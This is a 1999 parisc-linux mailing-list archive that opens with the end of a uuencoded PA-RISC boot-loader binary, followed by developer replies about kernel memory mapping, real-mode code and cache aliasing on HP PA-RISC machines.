M"Z$"'9>]``#KX,`"LR`@``M`5AT+H`0="R`$`0@@!$`(``)!"[T&'0LA!$$+
MO0<="R$$00N]!QT+(01!"[T''0LA!$$+O0<="R$$00N]!QT+(01!"[T''0LA
M!$$+O0<="R$$00N]!QT+(01!"[T''0LA!$$+O0<="R$$00N]!QT+(01!"[T'
M'0LA!$$+O0<="R$$00N]!QT+(01!"[T''0LA!$$+O0<="R$$00N]!QT+(01!
M"[T''0LA!$$+O0<="R$$00N]!QT+(01!"[T''0LA!$$+O0<="R$$00N]!QT+
M(01!"[T''0LA!$$+O0<="R$$00N]!QT+(01!"[T''0LA!$$+O0<="R$$00N]
M!QT+(01!"[T''0LA!$$+O0<="R$$00N]!QW+H<`2"!E&``LA%AT+(00="!I6
M``N@!!WKX,``"``"0,?6P!+6P!P>#L@0DP[`$)8"P!"A``$8(.+```!KPC_1
M#L00DP[=$)8"P!"A``$8(.+```!KPC_1:\(_V0@#`D$('@)#;\$!`.A`"#`(
M``)`*V$``#0Z``#H0`!`"``"0"MA```T.@!XZ$``(`@``D!(8C_9-'X`@$_#
M/X'H0,`":\(_V0@#`D$('@)#;\$!`&AW/Z%H>#^I:'D_L6AZ/[DT=#^Y"!0"
M4VAZ/[DT=#^Y:',`:#1S/[E*=```0I4``&!U`##2M1_X-I0``FIT``".H"`"
MZ``&\D!T`##2DQ_X-!0`2HIT)J)(<S^Y0G4``-*T'_@VDS\[-!0`*H)T@6KH
M$T``"``"0.@`!.@(``)`Z``!>`@``D#H``$P"``"0.@``2`(``)`Z``!$`@`
M`D#H``$`"``"0.@``/`(``)`Z```X`@``D#H``#0"``"0.@``,`(``)`Z```
ML`@``D#H``"@"``"0.@``)`(``)`Z```@`@``D#H``!P"``"0.@``&`(``)`
MZ``$>`@``D#H``!`"``"0.@``#`(``)`Z```(`@``D#H```0"``"0.@``G@(
M``)`0',`,-)T&_G2DQ_X"!,"6NA`!K`(``)`Z``$PDAT`&@VDS_Y"!,"5-:`
M'!YH=`!H2',`:$IT``!H=``@:'0`&$AS`"!(=``@DH!@``I@!!-H<P`@:&``
M$"MA```T,P#H2'0`(`@4`EHT&0`4Z_\8;0@``D`('0)4"I,*$T)T``!@=``P
M2',`(`@3`EKK_Q/E"``"0`@=`E-H<P`@2',`$`@3`E0T=0!`"I4*%$!U`#!B
ME0``-G,``FAS`!!(<P`@CF`@`N@```+H'Q\72',`&(9@8!(T&@!:Z$`%(`@`
M`D`(``)`2',`$#9T/_]H=``02',`$(9@8`+H``!:2',`$#1T`$`*=`H30G0`
M`-*3'_@($P):Z$`$J`@``D!(<P`0-G0__VAT`!#H'Q^'2',_N39T``)H=#^Y
MZ``"@DAT`&@VDS_Y"!,"5-:`'!YH=`!H2',`:$IT``!H=``H-!,`.&AS`!!(
M<P`0AF!@`N@``)(K80``-#,!`$AT`"A(=0`0`7480-*``!32E1O\"K,*$T)T
M``!@=``P0'0`,-*3'_@($P):Z$`#B`@``D!(<P`0-G0_^6AT`!#H'Q]/2',_
MN39T``)H=#^YZ``!8DAT`&@VDS_Y"!,"5-:`'!YH=`!H2',`:$IT``!H=``@
M0',`)M)T&_G2DQ_X"!,"6NA``M@(``)`2',_N39T``)H=#^YZ```TDAT`&@V
MDS_Y"!,"5-:`'!YH=`!H2',`:$IT``!H=`!@-',`8$IT``!"E0``8'4`,-*U
M'_@VE``":G0``(Z@(`+H```R0',`,-)T&_G2DQ_X"!,"6NA``@`(``)`Z!\?
M?TAS/[DV=``":'0_N>@``")`=``PTI,?^`@3`EKH0`&P"``"0.@?&+](8C_9
M-'X`@$_#/X'H0,`"``````@#`D$('@)#;\$`@"MA(``T,PF(*V$``#0T!NX(
M%`)5UJ`<'6IU```K82``-#,)@"MA```T-`?\"!0"5=:@'!UJ=0``*V$@`#0S
M"9`K80``-#0)>@@4`E76H!P::G4``#03!Y!*=```AH`@BC03"%!*=```CH`@
M<FA@`!!(<P`0-!0`7HIT0`+H``!*2'0`$#:3"`!(=0`0-K0'0$*5``!B=0``
M2',`$#9T``)H=``0Z!\?CS1^`(!/PS^!Z$#``FO"/]D(`P)!"!X"0V_!`0`(
M&@)38',`$#03!Y!*=```CH`@`N@``7)`=``0TI,?^(YT(&HK82``-#0)D$J3
M```T%``:8G0``"MA(``T,PF02G0``#:3``(T%``48G0``#03``1H<P`8Z```
M,BMA(``T-`F02I,``$!T`!!B=```-!,``FAS`!@T%`>0-!4'@#03!X@K82``
M-#8)@$K7``!KUS^9:\`_D2MA(``T-@F02M<``&O7/XE(=@`8:]8_@6O`/WE*
ME```2KH``#09``9*>```-!<'4`@4`E;K_Q/M"!\"0DAB/]DT?@"`3\,_@>A`
MP`(`````:\(_V0@#`D$('@)#;\$!`&AZ/[EH>3^Q:'@_J4AT/[G2DQOZAF`@
M,BMA```T.@$PZ%\450@``D`T'#__Z``"FN@``$)(<S^ITG0;]8:`("HK80``
M-#H!H.A?%`4(``)`-!P__^@``DH(``)`:&``&$AT/ZG2DQJ+2'0`&(J3H`+H
M``("-!,0`&AS`"`T%`?P-!4'X#03!^@K82``-#8)@$K7``!KUS^92'8_L6O6
M/Y%(=C^Y:]8_B306$`!KUC^!-!8@`&O6/WE*E```2KH``#09``!*>```-!<'
ML`@4`E;K_Q'U"!\"0@@<`E-H<P`02',`$(9@8#(K80``-#H"$$AY`!#H7Q*M
M"``"0#0</__H``#R*V$@`#0T"8!*DP``2'0`($IS```*=`04:'0`("MA(``T
M-`F`2I,``$AT/[E*<P``"G0*%&AT/[DK82``-#0)@$J3``!(=#^Q2G,```IT
M"A1H=#^Q2',`((9@0`+H```"Z!\>)TAS`!@V=``":'0`&.@?'<\T'```Z!\?
M_TAB/]DT?@"`3\,_@>A`P`)KPC_9"`,"00@>`D-OP0"`*V$``#0Z`H#H7Q%%
M"``"0#03!S@T%`<X2I4``-*T&70K80``-#H"R$IY```(%`)8Z%\0]0@``D`T
M$P<P*V$``#0Z`QA*>0``Z%\0Q0@``D`T$P:@*V$``#0Z`UA*>0``Z%\0E0@`
M`D`T$P:H*V$``#0Z`YA*>0``Z%\090@``D`T$P:P*V$``#0Z`]A*>0``Z%\0
M-0@``D`T$P<`*V$``#0Z!!A*>0``Z%\0!0@``D`T$P<(*V$``#0Z!&!*>0``
MZ%\/U0@``D`T$P<0*V$``#0Z!*A*>0``Z%\/I0@``D`T$P<8*V$``#0Z!/!*
M>0``Z%\/=0@``D`T$P>0*V$``#0Z!3!*>0``Z%\/10@``D`T$PA0*V$``#0Z
M!7A*>0``Z%\/%0@``D`T$P?P*V$``#0Z!<!*>0``Z%\.Y0@``D`T$P>8*V$`
M`#0Z!@A*>0``Z%\.M0@``D`T$PA8*V$``#0Z!E!*>0``Z%\.A0@``D`T$P?X
M*V$``#0Z!IA*>0``Z%\.50@``D!(8C_9-'X`@$_#/X'H0,`"`````````$P`
M````````````$````!-T6````````````!-X```5$$`````````````5%```
M%118````````````%1@``!4T&````````````!4X```53!@````````````5
M4```%90``0`8````$```%9@``!EX``$`&````!```!F````:/``!`!`````(
M```:0```&S```0`8````$```&S@``!S4``$`&````!```!S8```>?``!`!@`
M```(````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````**BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ"@`*5DU,24Y56"`P+C`Z
M($1U;6UY(&ME<FYE;"!I;6%G92!L;V%D960@86YD(&5X96-U=&EN9R$*`#`Q
M,C,T-38W.#D``#`Q,C,T-38W.#E!0D-$148```````````I%4E)/4CH@0F]O
M="!D979I8V4@22]/(&)U9F9E<B!N;W0@<')O<&5R;'D@86QI9VYE9"X*````
M"D524D]2.B!";V]T(&1E=FEC92!R96%D('-I>F4@;F]T(&$@;75L=&EP;&4@
M;V8@,C`T."X*```*15)23U(Z(%)E860@9G)O;2!B;V]T(&1E=FEC92!F86EL
M960@*'-T871U<R`]("5D*2X*`````$E03%]$14)51SH@4&%G92!Z97)O('!A
M<F%M971E<G,Z"@```"`@4#!?24U-7VUA>%]M96TZ("`@("`@("`@("5D("@E
M9$U"*0H````@(%`P7TE-35]S<&%?<VEZ93H@("`@("`@("`E9`H``"`@4#!?
M34-?8V]N=%]S:7IE.B`@("`@("`@("5D"@``("!0,%]-0U]P:'ES7W-I>F4Z
M("`@("`@("`@)60*```@(%`P7TU#7V%D7W-I>F4Z("`@("`@("`@("`E9`H`
M`"`@4#!?0D]/5$-055]M96U?9G)E93H@("`@(#!X)7@*`````"`@4#!?0D]/
M5$-055]H<&$Z("`@("`@("`@(#!X)7@*`````"`@4#!?0D]/5$-055]P9&,Z
M("`@("`@("`@(#!X)7@*`````"`@4#!?0D]/5$-055\Q,&US96,Z("`@("`@
M("5D"@``("!0,%]#3U547VEO9&-?:6\Z("`@("`@("`@,'@E>`H`````("!0
M,%]#24Y?:6]D8U]I;SH@("`@("`@("`@,'@E>`H`````("!0,%]"3T]41$56
M7VEO9&-?:6\Z("`@("`@,'@E>`H`````("!0,%]#3U547V-L87-S.B`@("`@
M("`@("`@,'@E>`H`````("!0,%]#24Y?8VQA<W,Z("`@("`@("`@("`@,'@E
M>`H`````("!0,%]"3T]41$567V-L87-S.B`@("`@("`@,'@E>`H`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````O1```10F/DR;P:`$`&`D/H&`/@T!J```````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
3````````````````````TN/^AP``
`
end

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 21:33:13 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <19991117213313.B10209@mathe.stud.uni-erlangen.de>
References: <19991117202951.A10209@mathe.stud.uni-erlangen.de> <199911172001.MAA11853@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618647 28400 80.91.229.3 (22 Nov 2014 01:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:47 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Stan Sieler <sieler@allegro.com>
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 13:30:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA17370
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 13:30:37 -0700
Original-Received: (qmail 3200 invoked by uid 15267); 17 Nov 1999 20:32:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3189 invoked from network); 17 Nov 1999 20:32:15 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 20:32:15 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 21:31:54 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id VAA10318;
	Wed, 17 Nov 1999 21:34:14 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911172001.MAA11853@opus.allegro.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6444

> > > Any PA1.0 box around on which we waste more than 256 MB ?
> > Eek, of course I meant PA1.1.  Note the 7:21:41AM part as well.
> Yes, many.  8x7 can go up to 1.5 GB (768 MB according to HP marketing).
> Others, too.

Note the "waste".  1.75 GB we can map without any problem.


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Wed, 17 Nov 1999 23:05:31 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <19991117230531.D10209@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <19991116170819.B750@mathe.stud.uni-erlangen.de> <3831CFF0.F4B3CE3E@hp.com> <19991117071226.G750@mathe.stud.uni-erlangen.de> <3832FA61.F977451E@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618647 28402 80.91.229.3 (22 Nov 2014 01:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:47 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: prumpf@r.uni-erlangen.de  Wed Nov 17 15:08:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA18004
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Nov 1999 15:08:00 -0700
Original-Received: (qmail 13820 invoked by uid 15267); 17 Nov 1999 22:09:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13812 invoked from network); 17 Nov 1999 22:09:39 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 17 Nov 1999 22:09:39 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Wed, 17 Nov 1999 23:09:34 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id XAA10388;
	Wed, 17 Nov 1999 23:06:32 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <3832FA61.F977451E@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6445

> You missed my point.  An example: the os_hpmc() that I wrote only works in
> real mode.  If I wanted it to be able to run in virtual mode,

Why would you want to run any code which needs to be run in real-mode in the
first place in virtual mode ?  Any examples ?


> I would either
> have to write a parallel version that uses virtual addresses (instead of
> physical) or every time I used an address I would have to choose whether to
> use the physical or virtual address, based on whether address translation was
> turned on or not.

Or you would have to disable address translation before calling the code.  Dis-
abling address translation is what happens for every interrupt(ion), including
TLB insert handlers which are very common.  So it shouldn't be a big deal.

> If the kernel is equivalently mapped, this problem goes away.

If it exists in the first place.


> Look at os_hpmc() and see where it was not appropriate to use the PA() macro.

Just what I said.  You use

	symbol

where the "right" thing to do would be

	.+(PA(symbol)-PA(.))

But we're working on that (so you can just use "symbol" for code references, as
it is real-mode code.  You also will be able to use "symbol" if it's a
real-mode data reference.  Sounds right to me).

>>Furthermore, there is no publically documented coherent I/O system from HP yet
>> so we have just to assume hardware we only heard rumours about will be sane
>> once we get to see it.

> So listen to the people who have read that documentation (like Grant).

What I really want to know is  which algorithm do recent CPUs use to get the
cache bank index / cache tag.

The answer is either "Just the obvious", "just the obvious but we XOR some
bits from the space registers in" or "we're doing tricks to special-case those
accesses were the virtual address matches the physical, for no apparent reason".

I don't believe the latter to be the case, but we just can't be sure until we
get documentation (and would violate the architecture specification if the
proof below turns out to be valid).



I would agree it would be best to change the design to work according to the
architecture specification if the restriction the "cache coherency issues"
(which might exist) looked sane at all.  It doesn't.

[note: what follows is what I think is a proof we can do what I want to do.
It is very likely to contain formal/grammatical mistakes but I think it should
be valid nontheless].


  The Rules

1. A physical and a virtual address refer to the same physical address (and
caches work) if they are equal.  (and obviously the virtual address translates
to the physical).  If a virtual address and its mapping satisfy this rule, the
address is said to be _equivalently mapped_.

2. Two virtual addresses refer to the same physical address (and caches work)
if they are equal modulo 2^20.  (and obviously translate to the same physical
address).  If two virtual addresses satisfy this rule, they are said to be
_equivalent aliases_.

p0 contains physical address, is used as physical address
p1 contains phys. addr, is used as virtual address, equivalently mapped
p2 is an equivalent alias of p1, but not necessarily equivalently mapped.

p0 and p1 satisfy Rule 1.
p1 and p2 satisfy Rule 2.

Therefore, p1 and p2 refer to the same physical address, and p0 and p1 refer
to the same physical address.

p0 and p2 refer to the same physical address if p1 is ever used to access
memory.

There is no requirement for the access using p1 to occur before the access
using p0 or the access using p2.

There is no requirement for the access using p1 to occur within a certain time
or number of instructions after the access using p0 or the access using p2.

Since delaying the access using p1 indefinitly is possible and there is no
feasible way for the cache system to verify the access won't occur (except
in certain cases which never occur during normal operation), there is no reason
for the access using p1 ever to happen.

Therefore, a physical address and a virtual address are guaranteed to refer to
the same physical address if the virtual address is an equivalent alias of the
equivalent mapping of the physical address.




Any mistakes to point out ?  Misunderstandments in the specification ?  Other-
wise could the specification please get fixed ?


	Philipp Rumpf


From - Thu Nov 08 21:11:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Wed, 17 Nov 1999 21:54:06 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <19991117215406.C10209@mathe.stud.uni-erlangen.de>
References: <19991117073453.I750@mathe.stud.uni-erlangen.de> <199911171812.NAA17052@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
